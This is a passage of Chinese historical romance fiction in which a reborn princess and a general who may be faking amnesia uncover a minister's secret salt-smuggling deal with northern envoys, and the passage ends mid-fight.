议论声原先只是窃窃私语,但是越发大了起来。
沈知微脸瞬间红了!
虽然她怀疑萧景珩,但她还是要脸的!
管不了那么多了!
沈知微一把拽起地上的萧景珩,就蒙着头往宫里冲了进去,她可不想自己还没出嫁就落得一个“河东狮”的名号呢!
“……呵!”
但,在途中,不知道风声、还是沈知微听差了些,仿佛听见一声小小的轻笑从身后传来,沈知微猛一回头,对上的只有萧景珩那双“天真”又“无邪”的眼睛,盯着她在傻笑呢!
————
“以后,你就住偏殿!
春桃,叫人去萧府上,给他收拾几件衣裳,再备上冬天用的锦被、春日用的绫罗衾,一天三次按时去太医院给他拿药,莫让他来烦本宫了!”
沈知微拉着萧景珩回到栖凰阁的主殿里,立刻就放开了手,让萧景珩站在殿中,而她自己则像只和狗儿斗了一天,已经筋疲力尽的猫儿一般卷缩回了她屋子里的软榻上了。
“哦……哦,好的,公主,少帅、少帅,这边!”
春桃眨眨眼,看向一脸疲倦、咬着牙恨恨的沈知微,和一旁“天真无邪”傻站着的萧景珩,脸上不仅泛起了促狭的笑意。
刚才,其实她也在那群议论纷纷的人中间……
虽然后来春桃用了长公主手下大宫女的名号教训了这帮人,但她心里还是赞同的,看着萧少帅这副样子,以后啊,必然被咱们公主吃的死死的!
可萧景珩虽然是听见了春桃的话语儿,但他没动,一动不动的还在站在沈知微刚才放手扔他的地儿。
“少帅、少帅?”
春桃奇怪的贴近了萧景珩的身边,忙不迭的又喊了两声。
终于,萧景珩动了,他张张嘴,然后说道。
“不要……”
“嗯?”
软榻上的沈知微和春桃不约而同的看向萧景珩。
“不要偏殿!我要睡在姐姐旁边!”
……!
……!!
满院寂静!
无论是沈知微也好、春桃也罢,连旁边端茶递水,擦桌抹凳的太监宫娥,齐齐望向了萧景珩。
“胡说什么”
沈知微脸色瞬间涨的通红,不对,是血红!
要知道,不论是前世也好,今生也罢,她都还没出阁了,萧景珩这话传出去……
“我没有胡说!我就是要睡在姐姐身边!”
萧景珩听到沈知微反驳,更是笃定,然后抱着枕头还往沈知微那边迈了一步,要不是沈知微雷霆般的目光阻止了他,他说不定已经跑到沈知微面前了。
“呼……萧少帅,真是,好直接啊……公主……”
春桃这时回过神来了,但作为沈知微宫里的大宫女,平时她也算是深谙礼仪的,萧景珩今天这番话儿,属实是震惊她一百年,她属实是想不到一个世家大公子,怎么会在这么多人面前能说出这种、这种只有那才子佳人话本里才会出现的“狂悖”之语呢!
……但不知为什么的,春桃居然会觉得有点甜。
“你……春桃,你先把宫里其他人都叫出去,就说这些天萧少帅要留在咱们这养伤,太医嘱咐了要清静才行。
等会儿你同我再把合心的、忠心的、不乱嚼舌根子的人挑出来,其余人打发到各处宫殿去,我有事同你说!”
沈知微只感觉脑仁疼的不行,她按了按自己太阳穴,没接萧景珩的话儿,立刻吩咐春桃了一句。
“是!”
春桃立刻回禀,然后执行去了。
不一会,整个栖凰阁就清净了,这时,春桃才走了回去。
一进门,仍旧看着沈知微和萧景珩,一个在榻上,一个站在殿中间,还是大眼瞪小眼的互相望着,画
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面要多奇妙,就有多奇妙去了。
——
“什么?萧少帅失忆了!”
春桃听的沈知微解释,楞了一下,很快便恢复了理智,怪不得萧景珩今天这般语气。
“……这事儿,父皇和母后是打算瞒下来的,等太医解毒,不然三月后萧老元帅上京,父皇可没办法交代呢……”
“公主,明白了,奴婢拿人头担保,这事儿绝不会传出咱们宫门去,否则天打……”
听的春桃赌咒发誓,沈知微慵懒的立起身子,轻翘指尖点住了春桃的嘴。
“我……我要你人头做什么,这事儿就是我信你,才与你交代明白的,以后咱们宫里一切照旧,至于这厮……咳咳,这位萧少帅,就当他是个小孩儿,他说的什么都不算数,可听清……”
“凭什么!姐姐!为什么我说的话,你不作数!”
萧景珩在沈知微交代春桃的时候也好,沈知微安排宫务的时候也罢,都是安安静静的站在原地,没发出一点声响的,很乖、很听话。
可沈知微说了这句话,他就急眼了,立刻跳起来反驳,一双眼睛还红红的,很是生气的样子。
“……好好好,是我错了,你说的话作数作数,总行了吧,春桃快带少帅去偏殿,我要休息了!”
沈知微已然有气无力,不想折腾了。
春桃看着萧景珩,心想失忆的人,她怎么都得温柔点慢慢劝导,与是否说道。
“少帅,你先把怀里的枕头给我,去不去,咱们等会再说好不好……”
沈知微和春桃两人今日的口吻之轻宛如在劝小孩一般。
“不好!”
谁知……
萧景珩再次拒绝!
这下沈知微不能理解了,她扶着额坐起身来,狐疑的问道。
“为什么啊?不去偏殿暂且罢了,这枕头你怎么也……”
“这是我的宝剑,我要用它来保护姐姐的!”
萧景珩抱着那枕头死活不撒手,仿佛那真不是一个绣花缎面的枕头,而是一把真的寒光凛冽的宝剑一般。
“……这是我的宫殿,我很安全……”
沈知微都不知道是被萧景珩的震慑到了,还是怎么的,她木呆呆的一字一顿吐出了字眼。
说实话,纵使她前世和萧景珩朝堂上争锋相对,她也没此刻这般无语过,就像是一拳打在棉花上,气力散不出去一般。
“哦……这样啊,那、那晚膳的时候姐姐记得叫我,我要保护姐姐!”
“……我很安全!……算了,春桃,你快带他去安顿一下吧!”
沈知微无力解释,双眼闭紧将脑袋枕到了手臂上,只想把今天这些事儿全抛到脑后去。
“……我会保护你,一直保护你,直到……”
不同于刚才萧景珩的“童稚言语”,那熟悉的低沉的、有些喑哑,却如月下潮汐般宁静深远的声音再次响起。
沈知微惊得再次张开眼睛,却发现自己周围早就没人了,就远处春桃气呼呼的扯着萧景珩的手臂,将不情不愿还在不断嘟囔着的“少帅”从主殿拉出去,正往偏殿那边走呢!
……许是自己听差了吧……
沈知微再次闭上眼。
13. 藏锋
戌时三更,宫门落钥——
是夜,万籁俱寂,唯独栖凰阁还亮着烛火。
如不是宫里的巡更太监敲着梆子的声儿响起,沈知微都未曾料到她看这密信能到这时辰。
“……北疆暗桩……二十七人……这是把皇宫都给漏成筛子了……”
沈知微指尖划过上面触目惊心的人数,其中好几个名字后面跟着的还是“栖凰阁”三个红彤彤的大字,就算她这般小心,自家宫里也有如此多的人混进来,更遑论其他宫殿呢。
可惜的是,她手里所有的资源能查到的便只有这么多了,毕竟重生过来后,她才紧锣密鼓的从零开始织罗自己的势力,这已然是极限了……
沈知微扶扶额,心下暗叹了一口气,只能宽慰自己事情得一步步的做,见招拆招吧……
就在这时。
窗外突然传来“咔”的一声,枝桠断裂的声音。
沈知微忙推开窗棂,警惕的往外看去。
却见,萧景珩着着一身月白色的中衣,侧身而立在沈知微的窗外的廊下,端方清逸仿若谪仙一般——嗯,如果忽略他怀里抱着的是那个枕头的话……
“少帅是要给本宫守灵啊?”
沈知微没好气的说道。
她有且仅有的、不多的对萧景珩救过她的感激,被今天萧景珩让她丢脸的怒气已然消磨干净了。
没直接叫宫人把这男人拽走,已经是沈知微涵养出众的证明。
却不想,这男人——萧景珩,这一刻面容上没有白日里那种呆滞痴傻之气,月华映在他侧脸镀起了一层银边,端是让他更添了几分出尘清冷的气质。
“参宿四正在坠向昴宿。”
萧景珩指着天上忽闪忽亮的星宿。
“《天官书》有云,此象主……”
“主刀兵。”
沈知微沉言片刻,不自觉的接上萧景珩的话语。
这星象之术原也是萧景珩教与她的,沈知微还记得两人年少时,萧景珩常同她说过,他要学那诸葛卧龙,上通天文、下知地理,匡扶社稷,做那万世名臣,护佑国家。
那时的萧景珩,可一直是她心目中的少年英雄呢,……可谁想到两人最后能走到那般田地。
罢了,兰因絮果,璧月难圆,自古如此而已……
沈知微心中感叹一声,她那漂亮的双眸又涌上笑意,依着窗棂对着那抱“剑”观星的人儿调侃了一句。
“这是萧少帅突然忆起了?病大好了呢,本宫这就禀报太医院,给您换个更对症的方子......”
就知道这家伙绝对没失忆,呵!就知道他有问题!
沈知微心里冷笑一声,趴在窗棂上准备看萧景珩怎么圆起。
“什么忆起了?忆起了什么?是、是清霜告诉我的!”
谁知道,萧景珩原地突然蹦起,连退三步回到那庭院里,手里死紧的抱着他的枕头,用一种不容置疑的口气,认真无比的盯着沈知微的眼睛说道。
“清霜?少帅的佩剑不是……”
沈知微还记得今天春桃叫宫人去收拾萧景珩的衣物的时候,特意嘱咐了可不能带什么兵械器具来,就怕万一萧景珩真的失忆失智发起狂来,他们可拦不住,毕竟他伤的是脑子,可不是他那一身天下无双的武艺。
“哼,就是这个,你怀疑我,我不同你看!”
萧景珩虽然嘴上这般说着,却故意把枕头往沈知微面前一递,上面歪歪扭扭的绣着“清霜”两个字。
“……”
无语。
是沈知微对她这位昔日的仇敌最大的尊重。
但,沈知微还是不打算放过萧景珩,只见她眉眼弯弯扫到萧景珩刚放松下来的肩膀。
沈知微略带坏笑的语气突然又再次响起。
“哦,少帅真要同本宫说说你那怀里的‘清霜’?”
沈知微故意用指尖敲了敲窗棂,鎏金护甲在月光下泛着冷光,正如她的语气一般陡然转冷。
“欺君罔上可是死罪!”
谁知,就在这时。
萧景珩突然把枕头往地上一扔,整个人蹲下来抱住双膝。
"姐姐凶我...",声音闷在臂弯里,肩膀还配合着抖了抖,"我要告诉陛下..."
拿父皇来压自己?
沈知微一下子没料到这位昔日在朝堂上何等威风萧少帅,此刻竟像个告状的小童一般,居然拿父皇威胁自己。
"去啊,正好让父皇瞧瞧……"
沈知微更是冷笑一声,她可不吃这套。
“你……你是坏姐姐……我再也、再也不……”
就在沈知微还要再次发难继续紧逼萧景珩之际。
门外突然传来宫监响亮的唱喏声箱。
"皇后娘娘驾到——"
母后?
母后这么晚了还来自己宫里做些什么事情?
沈知微皱着眉头只好放弃了继续紧逼萧景珩的事情,披上了大氅,整理了下衣冠,出的宫门迎接母亲。
“哎呀,这可怜见的,知微,不是母后说你,你怎么让景珩睡在园子里啊!”
温静徽进的门来,首先见着的就是在院落中蹲着的萧景珩,那可是满眼的心疼。
毕竟俗话说得好,丈母娘见女婿算半个儿,何况是萧景珩这般舍生忘死还救过她的女婿?
沈知微听着,牙都要被自己咬碎了。
“不是,母后,他……”
分明是装的!
沈知微话儿到了舌尖,刚想发难。
却见萧景珩猛然抬起头来,像只小兔子一样,迅速从地上弹起,三步并作两步冲到皇后面前告状道。
“皇后娘娘,我好心、好心来帮姐姐守夜,她、她、她凶我……说我欺君!你同我评评理!”
“这怎生要的!知微,母后今儿个过来,就是知道你和景珩生了间隙,景珩指不定要因为你生闷气吃瓜落呢!
哼,过来一看,果然如此,今儿个母后就同你和景珩说清楚了,你如是要再诬赖景珩的话,母后可就不帮你说话了!”
温静徽向来儒雅守礼,说这话已然是生了气的。
好……
好好好!
萧景珩,你果然有手段!
这给自己找了多大的庇护伞呢!
沈知微突然悟道了御书房里先生说道,打落银牙和血吞是什么感觉了!
看来下次自己如不抓到点实际把柄,要
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是去父皇母后面前说这厮装失忆,必然还被父皇母后教训一番才是。
心念至此,沈知微也只得咬牙低头受教了。
“是,母后教训的是,儿臣知……”
错字,她实在吐不出口去。
“哼,姐姐知错就好,本少帅,哼,大人大量不同你生气了!”
萧景珩抱着他的“清霜”故意梗起脖子装出童言童语,可他眼里闪烁的笑意,沈知微觉得这家伙十成十是诡计得逞的笑意。
但她揭穿不了,也不能揭穿。
“还是景珩听话,母后今天就在这里做主了,你们可要好好相处哦,太医今日来汇报,这毒啊,已然查明不少,相信要不了几个月,景珩的失忆症便能解的了,你暂且忍忍不要再欺负景珩了!”
“是……”
沈知微低下头,只得应诺。
“嗯,好了,姐姐,我们和好吧,今晚我过来,其实、其实是想送你东西的!诺,这可是今天晚膳时,我吃了觉得好,才省下半个留于你的!”
萧景珩突然跑了过来,向沈知微手里硬塞了半个糕点。
沈知微抬眼看去,那是半个栗子糕,只是切口平整,绝不是萧景珩所说的他吃剩的半个什么的……
沈知微指尖轻轻用力,一捏之下果然其中有一个物件,硬硬的、圆圆的,那是……
"晚间风大,母后就先回去了……"
见的眼前这对小儿女不争吵了,温静徽便宽心了,刚将手搭在一旁侍立的宫监手臂上。
萧景珩紧随其后的跟了一句。
“我也要送皇后娘娘!”
“还是景珩听话啊!”
温静徽听的这话儿,就如同无数老母亲听的自己子女孝顺一般脸上泛起了吃了蜜糖一样甜蜜的笑容。
“栗子酥要配清茶吃!”
萧景珩送温静徽出门时,从沈知微身边经过时,轻轻补了一句话儿,悄无声息的落在沈知微的耳里。
直到看见萧景珩宋哲温静徽拐出宫门后。
沈知微方才抬起腰身。
她捏碎那块栗子酥,一颗蜡丸落在掌心里,沈知微稍稍施了下力。
果然捏不碎。
她沉吟片刻,吩咐道。
“春桃,沏壶清茶来!”
“是,公主!”
待殿门合拢,沈知微捏着那蜡丸放进茶水里。
很快,那蜡丸就在水中如莲花瓣一般舒展开来了,露出一张张薄如蝉翼的冰纹笺,
上面用蝇头小楷写着。
【卢尚书寅时密会北疆使】
卢尚书……户部……!?
沈知微心里顿时想起接下来要发生的事情。
盐税案!
前世,正是卢尚书的伪证,让舅舅锒铛入狱,沈家满门受难。而今夜,这条密信,竟是从萧景珩手里递来的……
她抬眸望向殿外,夜色沉沉,萧景珩的身影早已消失在宫门处。
她可还记得,前世萧景珩是站在……
算了!
就算明知是陷阱,沈知微也要去试上一试!
“春桃,备夜行衣。”
既然他递了刀,那她便亲手,斩断这祸根!
14. 鹤引
栖凰阁外,月色如霜。
沈知微指尖一勾,将腰带紧束三分,内里夜行衣贴身利落,外罩一件灰蓝宫监袍,那袍子虽然灰扑扑的,看起来十分粗漏,却掩不住沈知微通身清贵气度。
“殿下便是披个麻袋也好看,活脱脱像是那话本里要偷溜出府的世家公子哥儿呢!”
春桃见的沈知微这般打扮,绕了两圈,拍起手儿称赞了一句。
“贫嘴。”
沈知微曲起手指轻轻敲了下春桃的脑袋,见的春桃玩笑般的吐了吐舌头,才接道。
“车马可备好了?”
“早停在角门那儿哩,公主,这夜半三更的,真不要奴婢跟着么?”
春桃绞着衣角,有些担心的说着。
沈知微摇摇头,此般她是去探探可是卢尚书和北疆密探的密会,又不是平日里偷溜出宫的游玩,自然不能带春桃去,沈知微从小便是这个性儿,对她真正关心的人,她总舍不得他们替自己冒险,总是自己亲历亲为第一个上去。
但这话,沈知微不会明说,她故意指了指檐下的更漏道。
“母后若再来查问,就说本宫染了风寒早歇下了,只有你守着栖凰阁,我才安心。”
听的沈知微这话儿,刚才还因为沈知微不愿带自己有些泄气的春桃立马扬起笑脸,拍了拍自己的胸口,让沈知微放一万个心。
——
宫内收拾妥当后,沈知微绕出宫门,正打算往角门那边走去。
却不想,在宫墙夹道里见的一个高大的人影蹲在那里,让沈知微想绕开他都避不开去。
咦……
这人影怎生见的有些熟悉。
沈知微其实已然认出那个人影是谁了,只是她心里不是很想承认。
只好皱着眉站在那人影身后。
只见那人影腮帮子鼓动,脚边摞了七八张油纸,嘴里边咀嚼还边说道。
“这个……没有……这个也没有……奇了怪了,怎么怎么就那个有呢?
咦!姐姐,姐姐,你来找我了啊,我就知道你不会抛下我,不管的!”
那个人影自然就是萧景珩,他甫一站起身来,高高的个子就盖了沈知微一个肩膀呢,生生把背后的清辉月光都挡了去。
……
沈知微很想说自己根本没打算来找他,他要是自此失踪的话,沈知微能高兴的回宫给天地神灵烧柱香去。
但……
就萧景珩这般大马金刀堵住了宫墙夹道的架势,她不说点违心话,终究是绕不过去了。
“……大约是吧……嗯,你能让开吗?我有事要出去!”
“唔……不能?”
“嗯?嗯!你不是说你最听我话儿的吗?怎么‘姐姐’(咬牙切齿的重音)让你让条道儿,你都不听?”
沈知微只觉的自己太阳穴突突直跳,只得用手指按了上去。
“你不带我,我就不让!别以为我不知道,你其实根本不喜欢我!想把我丢了的!你不带我!就不让你!”
萧景珩眉峰如刃,眸似寒星,一张脸冷峻如霜刻,月光斜映在他脸上,有种摄人心魄的魅力,可那嘴儿一张,带着嘴角那几点还没擦拭干净的糖霜,总有种让人说不出来感觉。
——就像是条狼王,明明该是傲视群雄的狠戾,却在她面前,露出了最柔软的肚皮。
“我带……还不行吗……”
沈知微看看天上月亮有些西移,她不愿和萧景珩再多纠缠,况且实在不行,真遇见危险,沈知微可不介意把这大傻子当暗器先推出去。
“姐姐!最好了!”
萧景珩立刻侧开身子,等沈知微往前走了,立刻亦步亦趋的跟了上去。
——
从宫道到角门,距离不算远,也不算近。
但沈知微实在没心情和萧景珩聊什么天。
一路上走过来,两人都是静默无语。
沈知微在心中不住的盘算着现在手里知道的信息。
卢尚书前世她所知晓的就是沈昭景那一派的,……和北疆人勾结?
难道沈昭景现在就与北疆人勾结了?
前世她知道的沈昭景一直有来源不明的兵马和经济,原先知道的是边疆九商,沈知微一直都在打击,但还没等她清除干净自己先就……
想到这儿,沈知微不住的往身后望去,看见身后跟着一边四处看看,一边还拿着吃糖糕的纸在折叠什么东西的萧景珩。
心里疑惑更甚。
……他不是帮沈昭景的吗?
怎么会来帮自己。
沈知微心中本就狐疑,结合今天他递给自己的糖酥……
其中必有原由,可是这么多信息纠缠在一块儿,她有些分不清……
正当沈知微想着这些繁杂信息的时候,两人已经走到马车那儿了,沈知微抬脚就要踩上去,但,许是心中思绪太乱,又许是这衣袍终究是借来的不太合身。
她抬脚的瞬间便踩到了衣服前襟,身子一歪,整个人向前栽去,额角眼看就要重重磕在车辕硬木上——
“小心。”
低沉的嗓音在耳畔响起,温热的掌心已先一步垫在了她额前。
“咚”的一声闷响,沈知微只觉脸颊擦过一片粗粝——那是他常年握剑留下的薄茧。
沈知微猛然抬头。
月光下,萧景珩的眸子深沉如古井,琥珀色的瞳仁里凝着化不开的墨色。那眼神太静,静得像月下的潮汐一般深沉宁静,哪里还有白日里的半分痴态。
可就在她怔忡的瞬间,那双眼忽地一弯,又恢复了白日里的笑意。
“阿姐好笨哦~~~~”
萧景珩故意拖长了音调,指尖在她额前轻轻一弹。
“上个车都会摔疼自己。”
嘴角翘起,露出两颗虎牙,活像只得意洋洋的大狗。
……
好吧,不愧是萧景珩!
自己明明刚刚对他涌起的半分谢意和好感,立刻化成泡沫!
沈知微脖颈一仰,像只骄傲的天鹅一般,敛好袍角就走进马车里。
——
车厢内,沈知微抱着屈着的腿,目光紧紧盯着眼前还在折叠着糖纸的萧景珩。
半晌,许是还是放不下心中那口气。
沈知微开口了。
“说吧,那个栗子酥哪里来的……还有你怎么会知道我会走这边……你是不是根本就没失……”
萧景珩手里的仙鹤刚刚折到了脖颈,听的此话儿,他慢慢抬起脑袋来,一脸无辜的眨了
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眨眼睛。
“不知道哎,栗子酥……栗子酥,是我吃了好多个,才有一个有那个硬硬的圆球呢!我看好特殊,才拿给阿姐你的!
你还怀疑我!?至于那个、那个你走这边,是因为是李峰说的……”
李峰?是他暗卫影子的头领吧?
沈知微突然话锋一转,立刻咄咄逼人的问道。
“李峰是谁?”
假设萧景珩说出李峰是自己暗卫头领的话,萧景珩十成十就是没失忆!
沈知微狐狸似的勾起嘴角,等着萧景珩上当。
谁知……
萧景珩不慌不忙,继续眨了眨眼。
“就是……就是,今日我跟着春桃姐姐回府上穿着靛青的黑大叔!”
完美的绕过了沈知微的陷阱!
沈知微并不放弃。
“哦?那一个在外面府邸的大叔,怎么知道我今日会出现在这里?”
“唔……”
萧景珩歪头想了想,忽然一拍手。
“因为他偷看了阿姐的密信!”
“密信?”
沈知微心里一惊,是今日自己刚培养的那些探子递上来的那个折子吗?
萧家的暗卫果然厉害……
不过这也给沈知微留下了继续逼问的把柄。
她微眯起眼,这次她这只小狐狸可算是拿住萧景珩这匹大灰狼的把柄了!
“我何时写过密信?”
“这个嘛……”
萧景珩挠了挠头,忽然捂住耳朵,身子一歪倒在软垫上。
“不听不听!阿姐又欺负我,我就告诉皇后娘娘你半夜偷溜出宫!”
“你!”
沈知微气结,看着自己胜券在握,这家伙又搬出“大杀器”!
沈知微只得放弃,颓唐的坐回原位,将头靠在手臂上叹了一口。
“行了,我不问,总行了吧!”
听到这话,萧景珩方才坐直身子,笑了笑,然后捏起自己叠好的纸鹤放在沈知微膝上。
“嘿嘿,阿姐最好了,不生气,不生气!”
——
很快,到的卢尚书门口。
沈知微刚掀开车帘,便见一辆华贵马车自正门驶出,车帘微掀,露出半张熟悉的脸——正是卢尚书的亲信。
“跟上。”
沈知微低声言语。
这时,她突然觉着有人拍了拍她的肩膀,回眸过去,正好看见萧景珩摇摇头,沈知微微蹙起眉头不明所以。
萧景珩笑笑,抬起手臂,往卢尚书府后门一指,说道。
“稍等。”
沈知微狐疑地望去,只见后门处静悄悄的,唯有几片落叶打着旋儿落下。
“那儿有什么?”
沈知微疑惑不解,语气自然也冷然无比。
萧景珩也不恼,只是竖起一根手指抵在唇边。
“嘘~~~”
半炷香后,一辆破旧的灰篷马车缓缓驶出。车帘被夜风掀起一角,浓郁的檀香混着麝香的气息扑面而来——正是卢尚书惯用的熏香!
沈知微瞳孔微缩,下意识看向萧景珩。
月光下,那人唇角微勾,眼底闪过一丝她熟悉的锐利——那是狼王盯上猎物时的眼神。
15. 暗香
沈知微盯着那马车,看那马车行的有段距离后,才慢慢从身后车里取出一物来。
萧景珩定眼看了过去,那是一双软底鞋。
纵然沈知微只是一个天家公主,平日里不明这些暗探行径,却也心细如发把能考虑到的一切可能都考虑进去了。
此时,是寅时初,街道上远比任何时候都静的几许,如是普通鞋子踏在地上的声音怕也会被那精如老狐狸的卢尚书察觉了去。
想到这儿,萧景珩的眼里不自觉的露出了几丝赞许。
但他很快就收回目光,不敢让沈知微察觉自己的异样。
“你乖乖待在这里,我去去就回哦!”
沈知微换好夜行衣物和软底鞋,看了萧景珩一眼,她也不确定眼前这家伙是真失忆还是假失忆,但是她知道自己要不哄着这只“大狗狗”,萧景珩定得闹着要跟着去。
沈知微不想他跟着坏了事情,只好咬咬牙,用出了哄小孩子的语气,然后竖起手指比了个“嘘”!
听的沈知微自重生以来,第一次如此好言好语的与自己说话了,萧景珩就算想克制,他也克制不了多少,一双如寒星般的凤眸,忽地笑的跟月牙儿一般弯弯的。
萧景珩半天没回沈知微,原本已然打算转身离去的沈知微回眸过来,刚打算看萧景珩一眼。
却觉脸庞儿边忽然清风拂过,等她再看清萧景珩时,那人已如仙鹤般轻轻落于远处阁楼顶端,脚踏琉璃瓦,居然没落出半点声来。
是了,萧景珩那身武艺,沈知微才觉出自己的担心大抵是多余的。
她狠狠刮了檐上的萧景珩一眼,却见那人笑的见牙不见眼,只是用唇语向沈知微传达道。
(跟我来。)
……自己就是好声好气的同他说了那么一句话,至于如此开心么?像吃了蜜糖一般。
沈知微不理解,原先觉的萧景珩失忆是假的,她这下觉得失忆可能是假的,萧少帅伤到的应该是智力方面,等这件事了了,她必然替萧景珩找上十个八个太医,给萧景珩瞧瞧脑子,算是全了萧景珩这般心意,两人从此两不相欠。
——
卢尚书确是老辣,马车在官道上七拐八绕,寻常人早被甩脱。
偏生萧景珩踏月无痕,从朱雀街跟到永宁坊,每每要跟丢时,总见那人立在黛瓦上冲她挑眉。
寅时二刻,卢尚书的目的地——京城郊外的一处废弃码头,终于现于两人目前。
但这地实在荒芜,四周都是枯焦的树干,没有高处再可落脚的地方了,萧景珩轻轻落回沈知微身边,两人找了处不远不近的废弃谷仓遮掩住身形,等到卢尚书的马车驶了进去片刻,两人才慢慢靠了过去。
拐过弯儿,沈知微悄悄探头过去,见的这废弃码头之中居然有不少崭新的麻布口袋被一堆儿郎持刀把守着,她心底有些奇怪。
这可是大半夜啊,就算照看不该打火把吗?
萧景珩似乎是看出了沈知微的疑惑,他从长鞋里“噌”的拔出了一把短匕首,随即往身边一个麻布口袋划了一道,然后一些白色粉末就置于他的掌间。
沈知微凑近一闻,眉头立刻皱了起来。
(是硝石!宫宴那时候,大约就是用这个点火的吧!)
她用唇语向萧景珩说道。
(不止这些……)
萧景珩点点头赞赏的看了沈知微一眼,但嘴还没闭上,手指又往里指了指。
许是拜萧景珩的暗探功夫出众,也许是因为这些守卫不打火把,让两人潜入十分顺利,顺着刚才卢尚书走过的路,两人就摸到了码头深处去,便见的卢尚书和一个身披狼毛镶边的褐皮袍的男子在争吵着什么。
“……你们这是欺人太甚,说好的官盐五十万斤,这次要加到一百万斤!你要老夫如何填这笔账去!”
“大人,您生在中原富地怕是不知道,草原不仅人要吃盐,战马也要吃盐。
这次,你家主子可是折了咱们大汗不少勇士呢,咱们要这点盐算是赔偿,你要是不愿意啊……”
那褐皮袍男子的气焰极其嚣张,忽地从身边拔出弯月刀来,只一下就把卢尚书长长的胡须切落一半坠在地上了。
见的卢尚书恐惧般的退了两步,那男子才接到。
“是他夺嫡的刀快,还是我们北疆的箭快?”
见的这一幕,沈知微指甲都要抠入掌心里了,她张张嘴,勉强压住自己的怒火,向萧景珩做唇语说道。
(果然是他!沈昭景!卢麟可是他的亲信!)
卢麟便是卢尚书的名字,萧景珩听闻不做回答,只是点了点头。
(哼!你还帮他!)
沈知微嘴一努,想起自己前世的事情,心里火不打一处来,撇了一眼萧景珩,立刻转过头去。
萧景珩垂眸,不敢多说什么,他心里其实也是愧疚无比。
当年他也是被沈昭景那种清风明月之姿,一心为国的样貌所迷惑,后期为沈昭景做了不少恶事。
……如不是、如不是沈知微早就发现沈昭景的真面目,在边疆留下伏兵,当初太祖辛苦打下的城池都要被沈昭景作为谢礼让给敌酋了!
想到这里,萧景珩就悔恨无比,但是他不敢暴露。
毕竟他知道,现在沈知微只是怨“此刻”的自己识人不清,如果暴露自己也是重生,他和沈知微的仇可就不止这一点了。
……那时她还会像刚才那般轻轻的哄自己吗?
……还会像刚才那般怒气冲冲的刮自己一眼吗?
萧景珩知道,到时候迎接自己的只有沈知微冷若冰霜的表情,和自己不死不休的仇怨。
就在此时,卢尚书又说话了,显然他气急了,浑身都在颤抖,毕竟中原士大夫最重须髯,长须美髯乃是君子威仪之表,越是老持承重的读书人越是喜欢养的一手好胡须,自古以来就有美髯公的美名流传在世界,没有胡须的中原男子往往会被人背地里笑是太监。
但看着那褐皮男子手里的弯刀……卢尚书咬咬牙只得忍住,却听他牙齿咯吱咯吱的吐出一句话语来。
“……容我给……禀报一下,这再来五十万斤官盐可不是小数目,得找个替死鬼才行呢!”
听的卢尚书答应,那褐皮袍男子哈哈大笑抚掌说道。
“好好好,就
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喜欢和卢尚书您这种爽快人交易,我这就去……等等……”
正当那褐皮袍男子转身要离开的时候,他突然眯起了眼,然后往沈知微和萧景珩的这边走上两步。
突然大喊了一声。
“……有老鼠!卢先生看来你们中原人做事真是不小心呢!”
“怎么、怎么可能,老夫、老夫……我过来的时候明明已经那么小心呢!”
“呵呵呵,那就得问问这位‘客人’咯,居然还是女流,这般香气,啧啧,听说你们中原女子都是柔弱女儿,但居然还有和我们草原女子一般勇敢的英杰!”
听的此话,沈知微也是心下一惊,明明她已经这般小心了,跟着萧景珩进来的时候,连脚下的枯枝瓦片都避过,不敢踏到一点,生怕发出半点声响。
没想到会这般被人发现。
——其实这也怪不得沈知微,只怪她出身太好,天家公主,自小便是泡在熏香贵料里长大,就算是平时泡澡,侍女们也要洒上几斤花瓣,所以香味早就没入沈知微的肌理之中,所谓透体生香说的就是沈知微这般的人儿。
当然沈知微也是料到这一点的,她来时,已然用清水擦过几遍,算是将自己身上的香味洗到最小。
可是架不住那个褐皮男子是草原上的精英,顶风一闻,便能分辨出蹊跷。
听着那些由远至今的脚步声,那是门口的守卫!
萧景珩看向沈知微,沈知微一动不动,静默的蹲在远处,萧景珩以为沈知微是怕了。
他立刻伸出手握紧沈知微的掌间。
沉声道。
“莫慌,我必护你周全。”
说实话,放在平时,这些个守卫大约还不够萧景珩几合打的……
只是现在,他在宫宴上受伤的那只手臂还没好,沈知微打眼瞧过去里面还渗透着血迹。
沈知微甚至能感觉到萧景珩握着她的手掌也有些微微颤抖,……他是紧张了么?
这时,沈知微垂下眉眼,将手掌反握过去。
“莫怕,我和你一同面对!”
听的这话,萧景珩惊讶的回过眉眼,却见沈知微一双妙目清光流转,此间没有半点惊慌,却全是坚毅之色。
是了,这才是沈知微,是那个明明面对天下人围攻,已然能在朝堂上一人压制天下多年的女子。
她从来不是躲在别人背后要他人保护的弱者。
是能与他分庭抗礼、并肩傲立的女子!
这次,萧景珩笑了,和刚才被沈知微哄的笑的见牙不见眼的傻笑不同。
那是发自内心心底的认可和欣赏,他是多么喜欢眼前的女子,如是上天给他个机会,他一定趁沈知微没那么讨厌他的时候,便把沈知微从宫里抢出去,快马加鞭的跑回自家玄甲军的驻地里位沈知微建一座宫殿,以后他日日守着沈知微,沈知微也日日看着他,只属于他一人,这该是多么好的事情啊!
当然,这也是只能想想。
危机就在眼前。
萧景珩笑了笑,刚才的紧张全然没有,只剩下同沈知微一样的话语。
“好,我和你一起面对。”
16. 血月
脚步声渐行渐近,但幸的是在码头之上,这些守卫虽是十数人,但码头木板的宽度有限,所以虽然是从左右两端夹击萧景珩、沈知微二人,但先围过来的不过五六人而已。
萧景珩回手将沈知微护至身后道。
“我解决这边几个,左手边的那两人交予你可好!”
“嗯!”
沈知微轻哼一声,手已然摸到腰间软剑。
“三、二……”
“一!”
两人不约而同喊出了最后一个数字,萧景珩单手拿剑如一团黑影直接袭了过去,只听“啊”的一声惨叫,萧景珩的匕首便刺破了一个守卫的脖颈,鲜血直喷而出,喷洒在萧景珩的半张脸上,月关衬下,原本清冷的脸庞瞬间变得狠厉又妖艳。
“可恶!老三!给老子冲!”
那些守卫的首领见的萧景珩这般神乎其神的武艺,自然是吓的退了半步,可他稳住心神又想,自己这边人手如此之多,优势在自己这边,便催促着其他守卫冲了上前。
但……
就在几个围到萧景珩背后的守卫刚刚拔出腰刀,月光下一缕青光似银蛇般,直取围上来的两个守卫咽喉。
守卫们惊得一退,却不想那剑锋已然飘到他们耳边,那两名守卫察觉之时,便立刻捂住耳部就跪了下来,鲜血从他们指尖止不住的涌了出来。
但见甲板上两只耳朵血淋淋的落在沈知微的软底修鞋旁边……
“哼,可恶,这副身躯真是不怎么锻炼,要是未来……”
